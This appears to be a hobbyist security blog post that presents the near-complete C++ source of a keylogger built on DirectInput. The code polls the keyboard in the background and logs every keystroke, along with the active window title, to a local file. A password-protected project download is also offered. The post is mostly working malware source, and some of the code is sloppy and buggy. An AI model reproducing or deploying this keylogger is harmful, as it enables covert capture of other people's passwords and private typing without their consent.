KeyLogger using DirectX

Howdy!

With that painful PIN crap behind me, I can finally be creative again. Today I wrote up a keylogger using C++ and DirectX. I normally dislike C++ because of the bloat, but DirectX and C don’t always play nicely.

I’ve talked about keyloggers in the past, and even wrote one using traditional means. Traditionally, one hooks all Window Messages, specifically the KeyDown / KeyUp ones with a call to the SetWindowsHookEx API. You write your program that makes use of the API up as a DLL file in order to be shared among other processes and hook all Window Message events.

The DirectX method is a little different. Direct Input is an extension of DirectX that allows for precise control of the mouse, keyboard, and joysticks for use in graphics programming and games.

Of particular interest is the SetCooperativeLevel method offered through the DirectInput method. The ‘flags’ parameter of ‘DISCL_BACKGROUND’ allows us to monitor all windows for activity. This means we don’t need a separate DLL to monitor all other windows – neato!

Caveats, always with the caveats. The problem with using Direct Input to monitor key stokes is somewhat glaring: there is no distinction between capital and lowercase letters. Unlike traditional methods where we grab the scan code associated with the keystroke (wparam / lparam within WM_KEYDOWN / WM_KEYUP), we are limited to base letters. So we are trading off this lack of functionality for a lack of needing 2 files (main exe and dll). A fine trade.

Now for some codes!

include "stdafx.h"
#include "DirectX_fuckery.h"
#include <d3d9.h>
#include <d3dx9.h>
#include <dinput.h>
#pragma comment (lib, "d3dx9.lib")
#pragma comment (lib, "d3d9.lib")
#pragma comment (lib, "dinput8.lib")
#pragma comment (lib, "dxguid.lib")
#include <string>
#include <atlstr.h>

#define MAX_LOADSTRING 100

// Global Variables:
using namespace std;


ofstream outfile;
HINSTANCE hInst;								// current instance
TCHAR szTitle[MAX_LOADSTRING];					// The title bar text
TCHAR szWindowClass[MAX_LOADSTRING];			// the main window class name
LPDIRECTINPUT8			din;
LPDIRECTINPUTDEVICE8	dinkeyboard;
static BYTE Keys[256];


// Forward declarations of functions included in this code module:
ATOM				MyRegisterClass(HINSTANCE hInstance);
BOOL				InitInstance(HINSTANCE, int);
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK	About(HWND, UINT, WPARAM, LPARAM);
void InitDirectInput(HINSTANCE hInstance, HWND gw);
void GetKeys(BYTE* KeyState);
void CloseDirectInput(void);
string  GetCurrentWindowInfo(void);


bool KeyDown(int key)
{
#define KEYDOWN(name, key) (name[key] & 0x80)	
	return (KEYDOWN(Keys, key) != 0);
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	UNREFERENCED_PARAMETER(hPrevInstance);
	UNREFERENCED_PARAMETER(lpCmdLine);

	outfile.open("strokes.txt"); // add location?
 	// TODO: Place code here.
	MSG msg;
	HACCEL hAccelTable;

	// Initialize global strings
	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
	LoadString(hInstance, IDC_DIRECTX_FUCKERY, szWindowClass, MAX_LOADSTRING);
	MyRegisterClass(hInstance);

	// Perform application initialization:
	if (!InitInstance (hInstance, nCmdShow))
	{
		return FALSE;
	}
	hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_DIRECTX_FUCKERY));
	// Main message loop:
	while (GetMessage(&msg, NULL, 0, 0))
	{
		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
	}

	return (int) msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
	WNDCLASSEX wcex;

	wcex.cbSize = sizeof(WNDCLASSEX);

	wcex.style			= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon			= LoadIcon(hInstance, MAKEINTRESOURCE(IDI_DIRECTX_FUCKERY));
	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
	wcex.hbrBackground	= (HBRUSH)(COLOR_WINDOW+1);
	wcex.lpszMenuName	= MAKEINTRESOURCE(IDC_DIRECTX_FUCKERY);
	wcex.lpszClassName	= szWindowClass;
	wcex.hIconSm		= LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

	return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;

   hInst = hInstance; 

   hWnd = CreateWindow(szWindowClass, szTitle, WS_BORDER,
      CW_USEDEFAULT, 0, 300, 300, NULL, NULL, hInstance, NULL);

   if (!hWnd)
   {
      return FALSE;
   }

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);
   SetTimer(hWnd, 3809218, 150, (TIMERPROC)NULL);
   return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;

	switch (message)
	{
	case WM_COMMAND:
		wmId    = LOWORD(wParam);
		wmEvent = HIWORD(wParam);
		switch (wmId)
		{
		case IDM_ABOUT:
			DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
			break;
		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
		break;
	case WM_TIMER:
		
		GetKeys(&Keys[0]);
		break;
	case WM_PAINT:
		hdc = BeginPaint(hWnd, &ps);
		InitDirectInput(hInst, hWnd); // first run, we init direct input
		EndPaint(hWnd, &ps);
		break;
	case WM_DESTROY:
		outfile.close();
		CloseDirectInput(); // dont need uit, unacquire
		PostQuitMessage(0);
		break;
	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}

// Message handler for about box.
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
	UNREFERENCED_PARAMETER(lParam);
	switch (message)
	{
	case WM_INITDIALOG:
		return (INT_PTR)TRUE;

	case WM_COMMAND:
		if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
		{
			EndDialog(hDlg, LOWORD(wParam));
			return (INT_PTR)TRUE;
		}
		break;
	}
	return (INT_PTR)FALSE;
}

void InitDirectInput(HINSTANCE hInstance, HWND gw)
{
	DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (void**)&din,	NULL);
	din->CreateDevice(GUID_SysKeyboard, &dinkeyboard, NULL);
	dinkeyboard->SetDataFormat(&c_dfDIKeyboard);
	dinkeyboard->SetCooperativeLevel(gw, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);
	return;
}

void CloseDirectInput(void)
{
	dinkeyboard->Unacquire();
	din->Release();
	return;
}

void GetKeys(BYTE *KeyState){
	// https://msdn.microsoft.com/en-us/library/windows/desktop/ee418641(v=vs.85).aspx 
	// ^^ DIRECTINPUT enum
	HRESULT hr;
	hr = dinkeyboard->GetDeviceState(256, (LPVOID)KeyState);
		if (FAILED(hr))
		{
			ZeroMemory(Keys, 256); // zero out old keys info after each iteration.
			dinkeyboard->Acquire(); 
			return;
		}
		if (KeyDown(DIK_A))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: A" << endl;
		}
		if (KeyDown(DIK_B))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: B" << endl;
		}
		if (KeyDown(DIK_C))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: C" << endl;
		}
		if (KeyDown(DIK_D))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: D" << endl;
		}
		if (KeyDown(DIK_E))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: E" << endl;
		}
		if (KeyDown(DIK_F))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: F" << endl;
		}
		if (KeyDown(DIK_G))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: G" << endl;
		}
		if (KeyDown(DIK_H))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: H" << endl;
		}
		if (KeyDown(DIK_I))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: I" << endl;
		}
		if (KeyDown(DIK_J))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: J" << endl;
		}
		if (KeyDown(DIK_K))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: K" << endl;
		}
		if (KeyDown(DIK_L))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: L" << endl;
		}
		if (KeyDown(DIK_M))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: M" << endl;
		}
		if (KeyDown(DIK_N))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: N" << endl;
		}
		if (KeyDown(DIK_O))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: O" << endl;
		}
		if (KeyDown(DIK_P))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: P" << endl;
		}
		if (KeyDown(DIK_Q))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: Q" << endl;
		}
		if (KeyDown(DIK_R))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: R" << endl;
		}
		if (KeyDown(DIK_S))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: S" << endl;
		}
		if (KeyDown(DIK_T))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: T" << endl;
		}
		if (KeyDown(DIK_U))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: U" << endl;
		}
		if (KeyDown(DIK_V))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: V" << endl;
		}
		if (KeyDown(DIK_W))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: W" << endl;
		}
		if (KeyDown(DIK_X))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: X" << endl;
		}
		if (KeyDown(DIK_Y))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: Y" << endl;
		}
		if (KeyDown(DIK_Z))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: Z" << endl;
		}
		if (KeyDown(DIK_CAPITAL))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: CAPS LOCK" << endl;
		}
		if (KeyDown(DIK_DELETE))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: DELETE KEY" << endl;
		}
		if (KeyDown(DIK_EQUALS))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: =" << endl;
		}
		if (KeyDown(DIK_APOSTROPHE))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: \"" << endl;
		}
		if (KeyDown(DIK_BACK))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: BACKSPACE" << endl;
		}
		if (KeyDown(DIK_GRAVE))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: `" << endl;
		}
		if (KeyDown(DIK_LSHIFT))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: LEFT SHIFT" << endl;
		}
		if (KeyDown(DIK_MINUS))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: -" << endl;
		}
		if (KeyDown(DIK_PERIOD))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: ." << endl;
		}
		if (KeyDown(DIK_SPACE))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: SPACEBAR" << endl;
		}
		if (KeyDown(DIK_RETURN))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: RETURN OR ENTER" << endl;
		}
		if (KeyDown(DIK_MINUS))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: -" << endl;
		}
		if (KeyDown(DIK_PERIOD))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: ." << endl;
		}
		if (KeyDown(DIK_SPACE))
		{
			outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: SPACEBAR" << endl;
		}
	return;
}

string  GetCurrentWindowInfo(void)
{

	TCHAR  cock[1024] = L"this is just placeholder text. it works for some reason. somehting to do with buffer init";
	POINT pt;
	GetCursorPos(&pt);
	HWND curwin = WindowFromPoint(pt);

	if (curwin == NULL)
	{
		return "null window";
	}
	else
	{
		InternalGetWindowText(curwin, cock, wcslen(cock -1));
		string retmelol = CW2A(cock);
		if (retmelol == "")
		{
			return "no window";
		}
		return retmelol;
	}
}

There’s design / art, there’s no buttons, just a quick and dirty windows app. Real hackers can’t design for shit. You can download the project here. The password is ‘lol’.

Thanks for reading. Maybe I’ll see some of you all at Defcon this year.

Happy Hacking

2 thoughts on “KeyLogger using DirectX

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.